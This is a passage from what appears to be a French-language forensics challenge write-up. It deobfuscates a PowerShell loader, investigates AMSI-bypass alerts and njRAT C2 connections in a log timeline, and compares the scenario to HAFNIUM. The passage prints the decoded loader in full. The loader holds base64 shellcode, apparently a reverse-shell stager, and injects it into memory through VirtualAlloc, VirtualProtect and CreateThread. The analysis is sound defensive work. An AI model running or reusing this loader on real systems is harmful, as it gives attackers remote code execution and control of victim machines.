jomSCjrglejo4mXFdvI8e9rcz9jHtn4F'+'ur8EF{1}i{2}lpgH9Kt2NryYVt{2}lo+Mt{2}Gkff5A5ByNsIJO2nNK3irnvKC/f5dZaEj4/aAm6/1o4GbZpFLgLPQasqiYdDUKJrHkGIuIYr8/bFEaYII9Gzo6mW+KYRQj3euvMtA19z3Mt5aR2bu1kt/kvBwUH'+'rsaeXS+fkUnIQU5glW76MkZFFN3p7IMvQieSu382R9+9U0utqJubIa72Z7cEr1JFcPGnEgiOJvxwseLQxK6OuIvQYemF5C0YMSvC9GHEKVUnIIYHmzB0YcAgjINeH2M/5iyakCKo7RDyiXvKEfP{1}Aq4aX6W7l{2}FNUIPv6/cedx7R9238QnuVbg82z96cJBM/p9EIxdzOCgDd2BoP1{2}5WUkioQ5CDJEB7I{1'+'}KAZ/u39Zs+MreA/mDepv9dN'+'0yDMMAAA{0}'+'')-f'=','h','T')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
L’intéressant ici est le blob en Base64 qui contient un scriptblock
, ([scriptblock]::create
). Nous voyons des placeholders ({0}
, {1}
…) qui servent à déobfusquer le script. En regardant le flag -f
à la fin du blob nous voyons à quoi ils correspondent. (-f'=','h','T'
).
On le déobfusque ainsi:
$ sed -e "s/'+'//g" -e 's/{0}/=/g' -e 's/{1}/h/g' -e 's/{2}/T/g' b64blob | base64 -d | gunzip -d
Ou bien avec une recette CyberChef. Ça nous donne:
function xTk {
Param ($v3H, $mIBhs)
$oE = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $oE.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($oE.GetMethod('GetModuleHandle')).Invoke($null, @($v3H)))), $mIBhs))
}
function cSp_ {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $oK7,
[Parameter(Position = 1)] [Type] $t3_ = [Void]
)
$f_ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$f_.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $oK7).SetImplementationFlags('Runtime, Managed')
$f_.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $t3_, $oK7).SetImplementationFlags('Runtime, Managed')
return $f_.CreateType()
}
[Byte[]]$c4RI = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGFZIi1IgSItyUE0xyUgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCADCAEsBdVkFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//VSAHDSCnGSIX2deFB/+c=")
[Uint32]$ixB6 = 0
$bEeFY = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll VirtualAlloc), (cSp_ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $c4RI.Length,0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($c4RI, 0, $bEeFY, $c4RI.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll VirtualProtect), (cSp_ @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($bEeFY, [Uint32]$c4RI.Length, 0x10, [Ref]$ixB6)) -eq $true) {
$gKB = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll CreateThread), (cSp_ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$bEeFY,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll WaitForSingleObject), (cSp_ @([IntPtr], [Int32]))).Invoke($gKB,0xffffffff) | Out-Null
}
Ici nous voyons qu’il va utiliser une résolution d’appels d’API dynamique en PowerShell avec GetProcAddress
et GetModuleHandle
dans la fonction xTk
, et le shellcode dans la variable [Byte[]]$c4RI
sera injecté dans un thread dans la mémoire du processus PowerShell avec VirtualAlloc -> VirtualProtect -> CreateThread
.
C’est un TTP très courant. 1,2,3…
Nous pouvons passer le shellcode dans un désassembleur mais nous n’aurons pas les adresses des fonctions WinAPI utilisées par le payload.
Repiochons dans nos règles. Il y a plusieurs alertes qui ne correspondent pas à des commandes que nous avons repérés, notamment Potential AMSI Bypass Via .NET Reflection
et PowerShell AMSI Bypass Pattern
, qui collent avec le type de script qu’on vient d’analyser.
$ grep -E '(exchange.tinfa.loc|Workstation2.tinfa.loc)' timeline_comma.csv | grep 'Potential AMSI Bypass Via .NET Reflection'
Et si on regardait les connexions réseau faites par chacun de ces scripts qui ont des payloads en mémoire ?
Commençons par lister tous les PGUID des machines affectées ayant déclenché cette règle.
$ grep -E '(exchange.tinfa.loc|Workstation2.tinfa.loc)' timeline_comma.csv | grep 'Potential AMSI Bypass Via .NET Reflection' | awk -F'PGUID' '{print $2}' | awk -F'[{}]' '{print $2}' | sort | uniq
b99a131f-0916-62c3-af03-00000000db01
b99a131f-0918-62c3-b103-00000000db01
b99a131f-0af9-62c3-b903-00000000db01
b99a131f-0afa-62c3-bb03-00000000db01
b99a131f-3ad8-62c4-d608-00000000db01
b99a131f-3ada-62c4-d808-00000000db01
b99a131f-fb3c-62c3-5607-00000000db01
b99a131f-fb3d-62c3-5807-00000000db01
On sauvegarde la liste dans pguid.txt
. Maintenant nous pouvons chercher toutes les connexions réseau faites par ces processus, et filtrer par adresse IP de destination unique.
grep -E '(exchange.tinfa.loc|Workstation2.tinfa.loc)' timeline_comma.csv | grep "Net Conn" | grep -f pguid.txt | cut -d ',' -f 13 | sort | uniq -c
29391 TgtIP: 18.156.13.209
44277 TgtIP: 18.157.68.73
5031 TgtIP: 18.158.58.205
28382 TgtIP: 18.192.93.86
44203 TgtIP: 18.197.239.5
23822 TgtIP: 3.126.37.18
40107 TgtIP: 3.127.138.57
2196 TgtIP: 3.127.181.115
3071 TgtIP: 3.64.4.198
4682 TgtIP: 3.67.112.102
1155 TgtIP: 3.67.161.133
2999 TgtIP: 3.67.62.142
Je vous laisse regarder VirusTotal, mais toutes ces adresses IP correspondent à des serveurs C2 de njRAT.
# HAFNIUM
L’utilisation de PowerShell, de ComSvcs pour dumper LSASS, la faille Exchange et la temporalité du challenge me font tous penser à ce rapport de Microsoft sur HAFNIUM. Je pense que le challenge en est fortement inspiré. ;)